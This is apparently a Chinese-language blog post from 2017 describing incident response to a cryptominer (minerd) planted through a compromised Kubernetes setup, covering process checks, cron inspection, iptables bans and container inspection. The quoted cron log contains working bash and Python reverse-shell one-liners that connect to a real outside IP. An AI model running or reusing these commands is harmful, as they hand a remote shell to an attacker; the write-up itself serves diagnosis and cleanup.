利用k8s挖矿的minerd事件

起因

有有事说某环境下某台机器某个进程占用大量CPU资源,并给出相关数据

排查

初步

因为之前有基友也遇到类似的情况,也分析过,so,看到cryptonight就可以判定为挖矿软件. 初步可以找到minerd文件在/root/目录下

-rw-rw-rw-   1 root root 2979640 Jul 27 17:15 minerd

如果是其他类型的,可以先ps auxw|head -1;ps auxw|sort -rn -k3|head -10找出占用大量cpu资源的进程,找到相关的文件

清理

清理相关进程,发现会自动生成。 检查定时任务(crontab -l)和init进程服务 当然也可能是其他用户,检查/var/spool/cron/下是否异常,发生都是正常的。 但是在定时任务日志里看到可疑的ip先ban之

Jul 27 17:16:01  CROND[18402]: (root) MAIL (mailed 221 bytes of output but got status 0x004b#012)
Jul 27 17:17:01  CROND[18736]: (root) CMD (bash -i >& /dev/tcp/98.142.140.13/8889 0>&1)
Jul 27 17:17:01  CROND[18735]: (root) CMD (/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("98.142.140.13",8889));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
Jul 27 17:17:01  CROND[18734]: (root) MAIL (mailed 98 bytes of output but got status 0x004b#012)
Jul 27 17:17:01  CROND[18733]: (root) MAIL (mailed 221 bytes of output but got status 0x004b#012)
Jul 27 17:18:02  CROND[19148]: (root) CMD (bash -i >& /dev/tcp/98.142.140.13/8889 0>&1)
Jul 27 17:18:02  CROND[19149]: (root) CMD (/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("98.142.140.13",8889));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')

利用iptables ban域名和ip

iptables -I INPUT -s xmr.pool.minergate.com -j DROP  && iptables -I OUTPUT -d xmr.pool.minergate.com -j DROP && iptables -I OUTPUT -s 98.142.140.13 -j DROP

检查程序进程没有进展,忽略了进程id之类的信息,浪费了一些时间。 无奈下,我又看了容器状态(dps),都是k8s调度的,但是某些容器(5个)特殊

b0ed4c56d5d6        [email protected]:c1010e2fe2b635822d99a096b1f4184becf5d1c98707cbccae00be663a9b9131                                             "sh -c 'curl -L http:"

查看具体容器具体信息

docker inspect b0ed4c56d5d6

发现了与进程相关的信息,猜测可能是k8s master出现了问题

kubectl get rc mysql2 -o yaml
# 删掉rc资源,更新kube api-server相关设置

End

这次锅我们自己背

*****
Written by ysicing on 28 July 2017